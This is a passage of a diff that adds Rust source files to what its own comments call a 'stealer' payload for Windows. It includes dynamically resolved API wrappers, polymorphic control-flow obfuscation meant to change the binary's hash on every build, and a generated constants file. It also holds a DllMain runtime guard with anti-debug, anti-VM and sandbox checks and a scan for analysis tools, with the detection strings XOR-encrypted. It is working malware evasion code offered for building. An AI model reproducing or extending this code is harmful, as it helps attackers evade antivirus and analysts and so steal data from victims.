size: *mut u32,
|
||||
) -> u32 {
|
||||
ensure();
|
||||
if CACHE.adapters == 0 { return 0xFFFFFFFF; }
|
||||
let f: unsafe extern "system" fn(u32, u32, *mut c_void, *mut c_void, *mut u32) -> u32 =
|
||||
core::mem::transmute(CACHE.adapters);
|
||||
f(family, flags, reserved, adapters, size)
|
||||
}
|
||||
|
||||
pub unsafe fn EnumWindows(callback: usize, lparam: isize) -> i32 {
|
||||
ensure();
|
||||
if CACHE.enum_windows == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(usize, isize) -> i32 = core::mem::transmute(CACHE.enum_windows);
|
||||
f(callback, lparam)
|
||||
}
|
||||
|
||||
pub unsafe fn GetWindowTextW(hwnd: usize, buf: *mut u16, n: i32) -> i32 {
|
||||
ensure();
|
||||
if CACHE.get_window_text == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(usize, *mut u16, i32) -> i32 =
|
||||
core::mem::transmute(CACHE.get_window_text);
|
||||
f(hwnd, buf, n)
|
||||
}
|
||||
|
||||
pub unsafe fn GetClassNameW(hwnd: usize, buf: *mut u16, n: i32) -> i32 {
|
||||
ensure();
|
||||
if CACHE.get_class_name == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(usize, *mut u16, i32) -> i32 =
|
||||
core::mem::transmute(CACHE.get_class_name);
|
||||
f(hwnd, buf, n)
|
||||
}
|
||||
|
||||
pub unsafe fn GetSystemMetrics(index: i32) -> i32 {
|
||||
ensure();
|
||||
if CACHE.get_system_metrics == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(i32) -> i32 = core::mem::transmute(CACHE.get_system_metrics);
|
||||
f(index)
|
||||
}
|
||||
|
||||
pub unsafe fn EnumDisplaySettingsW(
|
||||
device: *const u16,
|
||||
mode: u32,
|
||||
devmode: *mut c_void,
|
||||
) -> i32 {
|
||||
ensure();
|
||||
if CACHE.enum_display_settings == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(*const u16, u32, *mut c_void) -> i32 =
|
||||
core::mem::transmute(CACHE.enum_display_settings);
|
||||
f(device, mode, devmode)
|
||||
}
|
||||
|
||||
pub unsafe fn EnumDisplayDevicesW(
|
||||
device: *const u16,
|
||||
idx: u32,
|
||||
info: *mut c_void,
|
||||
flags: u32,
|
||||
) -> i32 {
|
||||
ensure();
|
||||
if CACHE.enum_display_devices == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(*const u16, u32, *mut c_void, u32) -> i32 =
|
||||
core::mem::transmute(CACHE.enum_display_devices);
|
||||
f(device, idx, info, flags)
|
||||
}
|
||||
|
||||
pub unsafe fn GetLastInputInfo(plii: *mut c_void) -> i32 {
|
||||
ensure();
|
||||
if CACHE.get_last_input == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(*mut c_void) -> i32 = core::mem::transmute(CACHE.get_last_input);
|
||||
f(plii)
|
||||
}
|
||||
|
||||
pub unsafe fn GetCursorPos(point: *mut c_void) -> i32 {
|
||||
ensure();
|
||||
if CACHE.get_cursor_pos == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(*mut c_void) -> i32 = core::mem::transmute(CACHE.get_cursor_pos);
|
||||
f(point)
|
||||
}
|
||||
|
||||
pub unsafe fn GetSystemFirmwareTable(
|
||||
provider: u32,
|
||||
table_id: u32,
|
||||
buffer: *mut c_void,
|
||||
size: u32,
|
||||
) -> u32 {
|
||||
ensure();
|
||||
if CACHE.get_system_firmware_table == 0 { return 0; }
|
||||
let f: unsafe extern "system" fn(u32, u32, *mut c_void, u32) -> u32 =
|
||||
core::mem::transmute(CACHE.get_system_firmware_table);
|
||||
f(provider, table_id, buffer, size)
|
||||
}
|
||||
@@ -0,0 +1,247 @@
|
||||
//! Control-flow obfuscation helpers (polymorphic).
|
||||
//!
|
||||
//! Static analysis tools build a control-flow graph and reason about whether the
|
||||
//! payload "looks" like a stealer. These helpers insert opaque predicates,
|
||||
//! control-flow flattening, per-build junk instruction blocks, and bogus
|
||||
//! control-flow edges that are true at runtime but hard to prove statically.
|
||||
//!
|
||||
//! The seeds, junk strengths and branch tags come from `gen.rs`, which is
|
||||
//! regenerated before every build. This makes the emitted machine code — and
|
||||
//! therefore the artifact's hash — different on every build, so a static
|
||||
//! signature that matches one build will not match the next.
|
||||
|
||||
use crate::gen;
|
||||
use core::hint::black_box;
|
||||
|
||||
/// Opaque predicate: always evaluates to `true` at runtime but is not obviously
|
||||
/// constant to a static solver. Uses multiple rounds of non-linear arithmetic.
|
||||
#[inline(never)]
|
||||
pub fn opaque_true(seed: u32) -> bool {
|
||||
let mut x = seed.wrapping_add(gen::GEN_SEED).wrapping_mul(0x9E37_79B9);
|
||||
x = x.wrapping_add(0x7F4A_7C15);
|
||||
x ^= x >> 13;
|
||||
x = x.wrapping_mul(0x5D58_85A9);
|
||||
x ^= x >> 16;
|
||||
x = x.wrapping_mul(0x85EBCA6B);
|
||||
// Final non-linear mix: for any input this is non-zero.
|
||||
(x | (x.wrapping_mul(3) ^ 0x1234_5678)) != 0
|
||||
}
|
||||
|
||||
/// Opaque predicate that evaluates to `false` (complement of opaque_true).
|
||||
#[inline(never)]
|
||||
pub fn opaque_false(seed: u32) -> bool {
|
||||
!opaque_true(seed.wrapping_add(0xDEAD_BEEF))
|
||||
}
|
||||
|
||||
/// 3-way opaque choice: picks one of three branches based on opaque state.
|
||||
/// All three arms are real code; static analysis sees a 3-way join.
|
||||
#[inline]
|
||||
pub fn opaque_choice3(seed: u32, a: impl FnOnce(), b: impl FnOnce(), c: impl FnOnce()) {
|
||||
let idx = opaque_index(seed, 3);
|
||||
match idx {
|
||||
0 => a(),
|
||||
1 => b(),
|
||||
_ => c(),
|
||||
}
|
||||
}
|
||||
|
||||
/// 4-way opaque choice for even more CFG complexity.
|
||||
#[inline]
|
||||
pub fn opaque_choice4(
|
||||
seed: u32,
|
||||
a: impl FnOnce(),
|
||||
b: impl FnOnce(),
|
||||
c: impl FnOnce(),
|
||||
d: impl FnOnce(),
|
||||
) {
|
||||
let idx = opaque_index(seed, 4);
|
||||
match idx {
|
||||
0 => a(),
|
||||
1 => b(),
|
||||
2 => c(),
|
||||
_ => d(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Opaque index in range [0, n) derived from seed.
|
||||
#[inline(never)]
|
||||
fn opaque_index(seed: u32, n: u32) -> u32 {
|
||||
let mut x = seed.wrapping_add(gen::GEN_SEED);
|
||||
x = x.wrapping_mul(0x9E37_79B9).wrapping_add(0x7F4A_7C15);
|
||||
x ^= x >> 16;
|
||||
x = x.wrapping_mul(0x5D58_85A9);
|
||||
(x ^ (x >> 13)) % n
|
||||
}
|
||||
|
||||
/// Pick one of two branches at runtime based on an opaque predicate. Both arms
|
||||
/// are real code; the selection is not statically obvious, so an analyzer sees a
|
||||
/// join that could be either path.
|
||||
#[inline]
|
||||
pub fn opaque_choice(seed: u32, a: impl FnOnce(), b: impl FnOnce()) {
|
||||
if opaque_true(seed) {
|
||||
a();
|
||||
} else {
|
||||
b();
|
||||
}
|
||||
}
|
||||
|
||||
/// Return a value only known at runtime, so a branch on it can't be constant
|
||||
/// folded by a tool that inspects the binary in isolation.
|
||||
#[inline(never)]
|
||||
pub fn run_time_nonce() -> u32 {
|
||||
let sp: usize;
|
||||
unsafe { core::arch::asm!("lea {}, [rsp]", out(reg) sp, options(nostack, preserves_flags)); }
|
||||
let tsc_lo: u32;
|
||||
unsafe { core::arch::asm!("rdtsc", out("eax") tsc_lo, options(nostack, preserves_flags)); }
|
||||
((sp as u32) ^ gen::GEN_SEED ^ tsc_lo) | 1
|
||||
}
|
||||
|
||||
/// Emit a block of junk arithmetic that the optimizer keeps (its result feeds a
|
||||
/// black_box sink) but whose shape — number of ops, widths, rotation amount —
|
||||
/// is re-randomized per build through `gen`. This injects polymorphic dead-ish
|
||||
/// code into the hot path and changes the emitted bytes every build.
|
||||
#[inline(never)]
|
||||
pub fn junk() {
|
||||
let variant = gen::JUNK_VARIANT;
|
||||
let mut acc = gen::JUNK_XOR ^ run_time_nonce();
|
||||
let n = (gen::JUNK_N % 16) + 4;
|
||||
let mut i = 0u32;
|
||||
while i < n {
|
||||
match variant {
|
||||
0 => {
|
||||
acc = acc.wrapping_mul(0x9E37_79B9).wrapping_add(gen::JUNK_ROT).wrapping_add(i);
|
||||
acc ^= acc.rotate_right(gen::JUNK_ROT as u32 % 31 + 1);
|
||||
}
|
||||
1 => {
|
||||
acc = acc.wrapping_add(gen::JUNK_ROT).wrapping_mul(0x7F4A_7C15).wrapping_add(i);
|
||||
acc ^= acc.rotate_left(gen::JUNK_ROT as u32 % 31 + 1);
|
||||
}
|
||||
2 => {
|
||||
acc = acc.wrapping_mul(0x5D58_85A9).wrapping_add(gen::JUNK_XOR).wrapping_add(i);
|
||||
acc = acc.wrapping_add(acc.rotate_right(7)) ^ acc.rotate_left(13);
|
||||
}
|
||||
_ => {
|
||||
acc = acc.wrapping_mul(0x85EBCA6B).wrapping_add(gen::OPAQUE_TAG as u32).wrapping_add(i);
|
||||
acc ^= acc.rotate_right(gen::JUNK_ROT as u32 % 31 + 1);
|
||||
acc ^= acc.rotate_left(gen::JUNK_ROT as u32 % 31 + 1);
|
||||
}
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
black_box(acc);
|
||||
}
|
||||
|
||||
/// More complex junk block with data-dependent control flow (opaque predicates
|
||||
/// inside the junk itself). This defeats simple pattern matching on junk blocks.
|
||||
#[inline(never)]
|
||||
pub fn junk_complex(seed: u32) {
|
||||
let complexity = gen::OPAQUE_COMPLEXITY as u32;
|
||||
let mut acc = seed.wrapping_add(gen::JUNK_XOR) ^ run_time_nonce();
|
||||
let n = (gen::JUNK_N % 24) + 8;
|
||||
let mut i = 0u32;
|
||||
while i < n {
|
||||
acc = acc.wrapping_mul(0x9E37_79B9).wrapping_add(gen::JUNK_ROT).wrapping_add(i);
|
||||
// Opaque selector picks one of several arithmetic paths; a static
|
||||
// analyzer sees all of them as reachable.
|
||||
let sel = opaque_index(i.wrapping_add(seed), complexity.max(1));
|
||||
match sel {
|
||||
0 => acc ^= acc.rotate_right(gen::JUNK_ROT % 31 + 1),
|
||||
1 => acc ^= acc.rotate_left(gen::JUNK_ROT % 31 + 1),
|
||||
2 => acc = acc.wrapping_add(acc.rotate_right(7)),
|
||||
_ => acc = acc.wrapping_mul(0x85EBCA6B),
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
black_box(acc);
|
||||
}
|
||||
|
||||
/// Control-flow flattening dispatcher. Transforms a linear sequence of blocks
|
||||
/// into a state-machine loop with opaque state transitions. The `blocks`
|
||||
/// closure receives a state and executes the corresponding block, returning
|
||||
/// the next state (or u32::MAX to exit).
|
||||
///
|
||||
/// Usage:
|
||||
/// ```ignore
|
||||
/// let mut state = 0;
|
||||
/// while state != u32::MAX {
|
||||
/// state = flatten_dispatch(state, |s| match s {
|
||||
/// 0 => { do_work_0(); 1 },
|
||||
/// 1 => { do_work_1(); 2 },
|
||||
/// 2 => { do_work_2(); u32::MAX },
|
||||
/// _ => u32::MAX,
|
||||
/// });
|
||||
/// }
|
||||
/// ```
|
||||
#[inline(never)]
|
||||
pub fn flatten_dispatch<F>(mut state: u32, blocks: F) -> u32
|
||||
where
|
||||
F: Fn(u32) -> u32,
|
||||
{
|
||||
let seed = run_time_nonce();
|
||||
// Opaque state encoding: real state is XORed with per-iteration keystream
|
||||
// Use CFF_KEY for per-build variance in the encoding scheme
|
||||
let cff_mul1 = gen::CFF_KEY.wrapping_mul(0x9E37_79B9);
|
||||
let cff_mul2 = gen::CFF_KEY.wrapping_mul(0x5D58_85A9);
|
||||
let cff_add = gen::CFF_KEY.wrapping_mul(0x7F4A_7C15);
|
||||
let mut encoded = state ^ cff_mul1;
|
||||
let mut iterations = 0u32;
|
||||
|
||||
loop {
|
||||
// Decode current state
|
||||
let decoded = encoded ^ (cff_mul1.wrapping_add(iterations));
|
||||
let next = blocks(decoded);
|
||||
|
||||
if next == u32::MAX {
|
||||
break;
|
||||
}
|
||||
|
||||
// Re-encode next state with different keystream
|
||||
encoded = next ^ (cff_mul2.wrapping_add(iterations.wrapping_mul(cff_add)));
|
||||
iterations += 1;
|
||||
|
||||
// Inject junk every few iterations
|
||||
if (iterations & 3) == 0 {
|
||||
junk_complex(seed.wrapping_add(iterations));
|
||||
}
|
||||
|
||||
// Safety bound
|
||||
if iterations > 100 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
state
|
||||
}
|
||||
|
||||
/// Bogus control flow: creates a fake loop that looks like it could iterate
|
||||
/// but actually runs exactly once. Confuses static analyzers looking for loops.
|
||||
#[inline(never)]
|
||||
pub fn bogus_loop<F: Fn()>(seed: u32, body: F) {
|
||||
let mut counter = opaque_index(seed, 4) + 1; // 1-4
|
||||
while counter != 0 {
|
||||
if opaque_true(seed.wrapping_add(counter)) {
|
||||
body();
|
||||
}
|
||||
counter = counter.wrapping_sub(1);
|
||||
// Opaque: this looks like it could continue but counter always reaches 0
|
||||
if opaque_false(seed.wrapping_add(counter)) {
|
||||
counter = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Deterministic per-build opaque branch tag; used to seed guards' join
|
||||
/// counters so each artifact's control flow graph is unique.
|
||||
#[inline]
|
||||
pub fn branch_tag() -> u64 {
|
||||
gen::OPAQUE_TAG
|
||||
}
|
||||
|
||||
/// Opaque loop bound: returns a value that looks variable but is actually
|
||||
/// bounded and deterministic per-build. Use for loop counters that should
|
||||
/// appear dynamic to static analysis.
|
||||
#[inline(never)]
|
||||
pub fn opaque_bound(seed: u32, min: u32, max: u32) -> u32 {
|
||||
let range = max - min + 1;
|
||||
min + opaque_index(seed, range)
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
// AUTO-GENERATED per build by builder.py. Do not edit.
|
||||
// Each build rewrites this file, so the guard's keys, seeds and junk
|
||||
// blocks are unique to every artifact.
|
||||
|
||||
pub const GEN_SEED: u32 = 0xAFFBBF43;
|
||||
|
||||
pub const K_TOKEN: u8 = 90;
|
||||
pub const K_VENDOR: u8 = 190;
|
||||
pub const K_SMBIOS: u8 = 74;
|
||||
pub const K_ENV: u8 = 42;
|
||||
pub const K_DISPLAY: u8 = 193;
|
||||
|
||||
pub const JUNK_XOR: u32 = 0x422E101B;
|
||||
pub const JUNK_ROT: u32 = 0x1FE84ADD;
|
||||
pub const JUNK_N: u32 = 10;
|
||||
|
||||
pub const OPAQUE_TAG: u64 = 0xD260CBEF81B2C5F2;
|
||||
|
||||
// Polymorphic control-flow / evasion layer constants
|
||||
pub const CFF_KEY: u32 = 0x96995F09;
|
||||
pub const SYSCALL_TRAMP: u8 = 4;
|
||||
pub const SLEEP_ROUNDS: u8 = 4;
|
||||
pub const HOOK_ORDER_SEED: u32 = 0x140CC4BB;
|
||||
pub const STACK_SPOOF_OFF: u32 = 0x107F;
|
||||
pub const JUNK_VARIANT: u8 = 0;
|
||||
pub const OPAQUE_COMPLEXITY: u8 = 1;
|
||||
@@ -0,0 +1,655 @@
|
||||
//! Runtime guard: anti-analysis / anti-debug / anti-VM / sandbox detection.
|
||||
//!
|
||||
//! Runs once inside `DllMain` (after the reflective loader has fully mapped and
|
||||
//! relocated the image, so normal `std` is available). If the environment looks
|
||||
//! hostile — a debugger, a virtual machine, a sandbox, or a known analysis tool
|
||||
//! — the guard reports `false` and the payload refuses to start its worker.
|
||||
//!
|
||||
//! All detection strings are XOR-encrypted at compile time and only materialized
|
||||
//! on the stack at the moment of the check, so traces of what the guard is
|
||||
//! looking for do not sit in `.rodata` as plaintext.
|
||||
//!
|
||||
//! The guard is deliberately *defensive*: each check is independent and a few
|
||||
//! false positives are tolerated (a score system, not a single hard kill), so a
|
||||
//! real user on a clean machine still runs, while analysis environments that
|
||||
//! trip many signals are dropped.
|
||||
|
||||
use core::arch::asm;
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::abi;
|
||||
use crate::antihook;
|
||||
use crate::antisbx;
|
||||
use crate::antivm;
|
||||
use crate::apires;
|
||||
use crate::dynapi;
|
||||
use crate::flow;
|
||||
use crate::gen;
|
||||
use crate::obf;
|
||||
use crate::sleep;
|
||||
use crate::syscall;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Encrypted string helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// ASCII-lowercase a byte slice.
|
||||
fn lower(b: &[u8]) -> Vec<u8> {
|
||||
b.iter().map(|c| c.to_ascii_lowercase()).collect()
|
||||
}
|
||||
|
||||
/// Case-insensitive substring match on bytes.
|
||||
fn contains(hay: &[u8], needle: &[u8]) -> bool {
|
||||
if needle.is_empty() || hay.len() < needle.len() {
|
||||
return false;
|
||||
}
|
||||
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Anti-debug
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// PEB being-debugged flag (gs:[0x60] -> PEB.BeingDebugged at +0x02).
|
||||
#[inline]
|
||||
unsafe fn peb_being_debugged() -> bool {
|
||||
let peb: usize;
|
||||
asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
|
||||
let being = ptr::read_volatile((peb + 0x02) as *const u8);
|
||||
being != 0
|
||||
}
|
||||
|
||||
/// PEB->NtGlobalFlag at +0xBC (x64). A debugger sets heap-related flags that
|
||||
/// remain set for the process lifetime (heap flags: 0x70).
|
||||
#[inline]
|
||||
unsafe fn peb_nt_global_flag() -> bool {
|
||||
let peb: usize;
|
||||
asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
|
||||
let flags = ptr::read_volatile((peb + 0xBC) as *const u32);
|
||||
// FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK |
|
||||
// FLG_HEAP_VALIDATE_PARAMETERS | FLG_APPLICATION_VERIFIER
|
||||
const HEAP_FLAGS: u32 = 0x70 | 0x10 | 0x40;
|
||||
flags & HEAP_FLAGS == HEAP_FLAGS
|
||||
}
|
||||
|
||||
/// ProcessDebugPort (info class 7) resolved at runtime via hash (no static
|
||||
/// import). Returns true if a debugger is listening on the debug port.
|
||||
unsafe fn nt_debug_port() -> bool {
|
||||
apires::dyn_query_debug_port()
|
||||
}
|
||||
|
||||
/// Check the debug heap on the current process handle (kernel32, resolved at
|
||||
/// runtime so it doesn't appear in the import table).
|
||||
unsafe fn remote_debugger_present() -> bool {
|
||||
apires::dyn_check_remote_debugger()
|
||||
}
|
||||
|
||||
/// Timing check: RDTSC must tick at a sane rate. Stepping through the code
|
||||
/// under a breakpoint dramatically inflates the delta.
|
||||
#[inline]
|
||||
unsafe fn rdtsc() -> u64 {
|
||||
let mut lo: u32;
|
||||
let mut hi: u32;
|
||||
asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags));
|
||||
((hi as u64) << 32) | lo as u64
|
||||
}
|
||||
|
||||
unsafe fn timing_sane() -> bool {
|
||||
let a = rdtsc();
|
||||
let mut sink: u64 = 0;
|
||||
for i in 0..2000u64 {
|
||||
sink ^= i.wrapping_mul(0x9E37_79B9);
|
||||
}
|
||||
let b = rdtsc();
|
||||
let _ = sink;
|
||||
// Single-stepping / breakpoints insert far more cycles than a real loop.
|
||||
b.wrapping_sub(a) < 500_000
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Anti-VM
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
struct MemStatusEx {
|
||||
dw_length: u32,
|
||||
dw_memory_load: u32,
|
||||
ull_total_phys: u64,
|
||||
ull_avail_phys: u64,
|
||||
ull_total_page_file: u64,
|
||||
ull_avail_page_file: u64,
|
||||
ull_total_virtual: u64,
|
||||
ull_avail_virtual: u64,
|
||||
ull_avail_extended_virtual: u64,
|
||||
}
|
||||
|
||||
/// CPUID hypervisor-present bit (leaf 1, ECX bit 31) and vendor string
|
||||
/// (leaf 0x40000000). Detects Hyper-V, VMware, KVM, VirtualBox, QEMU, Xen.
|
||||
unsafe fn cpu_hypervisor() -> bool {
|
||||
#[inline]
|
||||
unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) {
|
||||
let mut a = leaf;
|
||||
let mut c = sub;
|
||||
let mut d = 0u32;
|
||||
let mut b = 0u32;
|
||||
// rbx is owned by LLVM, so save/restore it across cpuid and capture ebx
|
||||
// into a general-purpose register operand.
|
||||
asm!(
|
||||
"push rbx",
|
||||
"cpuid",
|
||||
"mov {tmp:e}, ebx",
|
||||
"pop rbx",
|
||||
inout("eax") a,
|
||||
inout("ecx") c,
|
||||
out("edx") d,
|
||||
tmp = lateout(reg) b,
|
||||
options(nostack, preserves_flags),
|
||||
);
|
||||
(a, b, c, d)
|
||||
}
|
||||
|
||||
// Hypervisor present?
|
||||
let (_, _, ecx, _) = cpuid(1, 0);
|
||||
if ecx & (1 << 31) == 0 {
|
||||
return false;
|
||||
}
|
||||
// Vendor string (12 bytes in EBX:EDX:ECX).
|
||||
let (ebx, edx, ecx, _) = cpuid(0x4000_0000, 0);
|
||||
let mut v = Vec::with_capacity(12);
|
||||
for b in [ebx.to_le_bytes(), ecx.to_le_bytes(), edx.to_le_bytes()].iter().flatten() {
|
||||
v.push(*b);
|
||||
}
|
||||
let vl = lower(&v);
|
||||
let key: u8 = gen::K_VENDOR;
|
||||
let bad: [(obf::Slot, u32); 7] = [
|
||||
obf::sig(gen::K_VENDOR, 0x1001, b"vmware"), obf::sig(gen::K_VENDOR, 0x1002, b"virtualbox"),
|
||||
obf::sig(gen::K_VENDOR, 0x1003, b"kvm"), obf::sig(gen::K_VENDOR, 0x1004, b"qemu"),
|
||||
obf::sig(gen::K_VENDOR, 0x1005, b"xen"), obf::sig(gen::K_VENDOR, 0x1006, b"vbox"),
|
||||
obf::sig(gen::K_VENDOR, 0x1007, b"microsoft h"),
|
||||
];
|
||||
const LENS: [usize; 7] = [6, 10, 3, 4, 3, 4, 11];
|
||||
bad.iter().enumerate().any(|(i, s)| {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
contains(&vl, &plain[..LENS[i]])
|
||||
})
|
||||
}
|
||||
|
||||
/// SMBIOS firmware string table search.
|
||||
unsafe fn smbios_firmware() -> bool {
|
||||
const RSMB: u32 = 0x5253_4D42; // 'RSMB'
|
||||
let size = dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0);
|
||||
if size == 0 || size > 4 * 1024 * 1024 {
|
||||
return false;
|
||||
}
|
||||
let mut buf = vec![0u8; size as usize];
|
||||
let got = dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size);
|
||||
if got == 0 {
|
||||
return false;
|
||||
}
|
||||
buf.truncate(got as usize);
|
||||
let bl = lower(&buf);
|
||||
let key: u8 = gen::K_SMBIOS;
|
||||
let bad: [(obf::Slot, u32); 6] = [
|
||||
obf::sig(gen::K_SMBIOS, 0x2001, b"vmware"), obf::sig(gen::K_SMBIOS, 0x2002, b"virtualbox"),
|
||||
obf::sig(gen::K_SMBIOS, 0x2003, b"qemu"), obf::sig(gen::K_SMBIOS, 0x2004, b"kvm"),
|
||||
obf::sig(gen::K_SMBIOS, 0x2005, b"innotek"), obf::sig(gen::K_SMBIOS, 0x2006, b"bochs"),
|
||||
];
|
||||
const LENS: [usize; 6] = [6, 10, 4, 3, 7, 5];
|
||||
bad.iter().enumerate().any(|(i, s)| {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
contains(&bl, &plain[..LENS[i]])
|
||||
})
|
||||
}
|
||||
|
||||
/// Ask the OS for key system facts and probe for VM-typical characteristics.
|
||||
unsafe fn gather_system_quirks() -> bool {
|
||||
// Low total RAM (< 2GB) is common in thin sandboxes.
|
||||
let mut ms = MemStatusEx {
|
||||
dw_length: std::mem::size_of::<MemStatusEx>() as u32,
|
||||
dw_memory_load: 0,
|
||||
ull_total_phys: 0,
|
||||
ull_avail_phys: 0,
|
||||
ull_total_page_file: 0,
|
||||
ull_avail_page_file: 0,
|
||||
ull_total_virtual: 0,
|
||||
ull_avail_virtual: 0,
|
||||
ull_avail_extended_virtual: 0,
|
||||
};
|
||||
if abi::GlobalMemoryStatusEx(&mut ms as *mut _ as *mut c_void) != 0 {
|
||||
if ms.ull_total_phys > 0 && ms.ull_total_phys < 2 * 1024 * 1024 * 1024 {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
// A single-core / single-thread CPU is a common VM giveaway.
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
struct SysInfo {
|
||||
processor_arch: u16,
|
||||
page_size: u32,
|
||||
min_app_addr: usize,
|
||||
max_app_addr: usize,
|
||||
active_processor_mask: usize,
|
||||
num_processors: u32,
|
||||
processor_type: u32,
|
||||
alloc_granularity: u32,
|
||||
processor_level: u16,
|
||||
processor_revision: u16,
|
||||
}
|
||||
let mut si: SysInfo = unsafe { std::mem::zeroed() };
|
||||
abi::GetSystemInfo(&mut si as *mut _ as *mut c_void);
|
||||
if si.num_processors <= 1 {
|
||||
return true;
|
||||
}
|
||||
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Anti-analyze / sandbox
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
unsafe fn process_scan() -> bool {
|
||||
const TH32CS_SNAPPROCESS: u32 = 0x2;
|
||||
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
|
||||
return false;
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
struct PROCESSENTRY32W {
|
||||
dw_size: u32,
|
||||
cnt_usage: u32,
|
||||
th32_process_id: u32,
|
||||
th32_default_heap_id: usize,
|
||||
th32_module_id: u32,
|
||||
cnt_threads: u32,
|
||||
th32_parent_process_id: u32,
|
||||
pc_pri_class_base: i32,
|
||||
dw_flags: u32,
|
||||
sz_exe_file: [u16; 260],
|
||||
}
|
||||
|
||||
let mut entry: PROCESSENTRY32W = unsafe { std::mem::zeroed() };
|
||||
entry.dw_size = std::mem::size_of::<PROCESSENTRY32W>() as u32;
|
||||
|
||||
// Tool-name signatures, XOR keystream so they don't sit in plaintext.
|
||||
let key: u8 = gen::K_TOKEN;
|
||||
let tools: [(obf::Slot, u32); 10] = [
|
||||
obf::sig(gen::K_TOKEN, 0x3001, b"x64dbg"), obf::sig(gen::K_TOKEN, 0x3002, b"ollydbg"),
|
||||
obf::sig(gen::K_TOKEN, 0x3003, b"windbg"), obf::sig(gen::K_TOKEN, 0x3004, b"ida"),
|
||||
obf::sig(gen::K_TOKEN, 0x3005, b"procmon"), obf::sig(gen::K_TOKEN, 0x3006, b"procmon64"),
|
||||
obf::sig(gen::K_TOKEN, 0x3007, b"vmtoolsd"), obf::sig(gen::K_TOKEN, 0x3008, b"wireshark"),
|
||||
obf::sig(gen::K_TOKEN, 0x3009, b"tcpview"), obf::sig(gen::K_TOKEN, 0x300a, b"fiddler"),
|
||||
];
|
||||
const LENS: [usize; 10] = [6, 7, 6, 3, 7, 9, 8, 9, 7, 7];
|
||||
|
||||
let mut found = false;
|
||||
if abi::Process32FirstW(snap, &mut entry as *mut _ as *mut c_void) != 0 {
|
||||
loop {
|
||||
let mut name = Vec::with_capacity(520);
|
||||
for ch in entry.sz_exe_file.iter() {
|
||||
if *ch == 0 {
|
||||
break;
|
||||
}
|
||||
name.push(*ch as u8);
|
||||
}
|
||||
let nl = lower(&name);
|
||||
for (i, s) in tools.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
if contains(&nl, &plain[..LENS[i]]) {
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if found {
|
||||
break;
|
||||
}
|
||||
if abi::Process32NextW(snap, &mut entry as *mut _ as *mut c_void) != 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
abi::CloseHandle(snap);
|
||||
found
|
||||
}
|
||||
|
||||
/// Probe the running environment for analyst/sandbox environment variables.
|
||||
/// A handful of well-known sandbox marker variables are checked; if any non-empty
|
||||
/// value is set the environment is treated as suspicious.
|
||||
unsafe fn env_probe() -> bool {
|
||||
let key: u8 = gen::K_ENV;
|
||||
let mut out = [0u16; 512];
|
||||
|
||||
// Names are XOR-encrypted so they don't sit in plaintext.
|
||||
let names: [(obf::Slot, u32); 4] = [
|
||||
obf::sig(gen::K_ENV, 0x4001, b"SBIX"), obf::sig(gen::K_ENV, 0x4002, b"VIRTUALIZATION"),
|
||||
obf::sig(gen::K_ENV, 0x4003, b"ANALYSIS"), obf::sig(gen::K_ENV, 0x4004, b"DYNT_AMBER"),
|
||||
];
|
||||
const LENS: [usize; 4] = [4, 13, 8, 10];
|
||||
|
||||
for (i, s) in names.iter().enumerate() {
|
||||
let raw = obf::dec_sig(key, s, LENS[i]);
|
||||
let mut nm: Vec<u16> = raw[..LENS[i]].iter().map(|&c| c as u16).collect();
|
||||
nm.push(0);
|
||||
let got = abi::GetEnvironmentVariableW(nm.as_ptr(), out.as_mut_ptr(), 512);
|
||||
if got > 0 && got < 512 {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Anti-dump / memory hardening
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
struct MemoryBasicInfo {
|
||||
base_address: *mut c_void,
|
||||
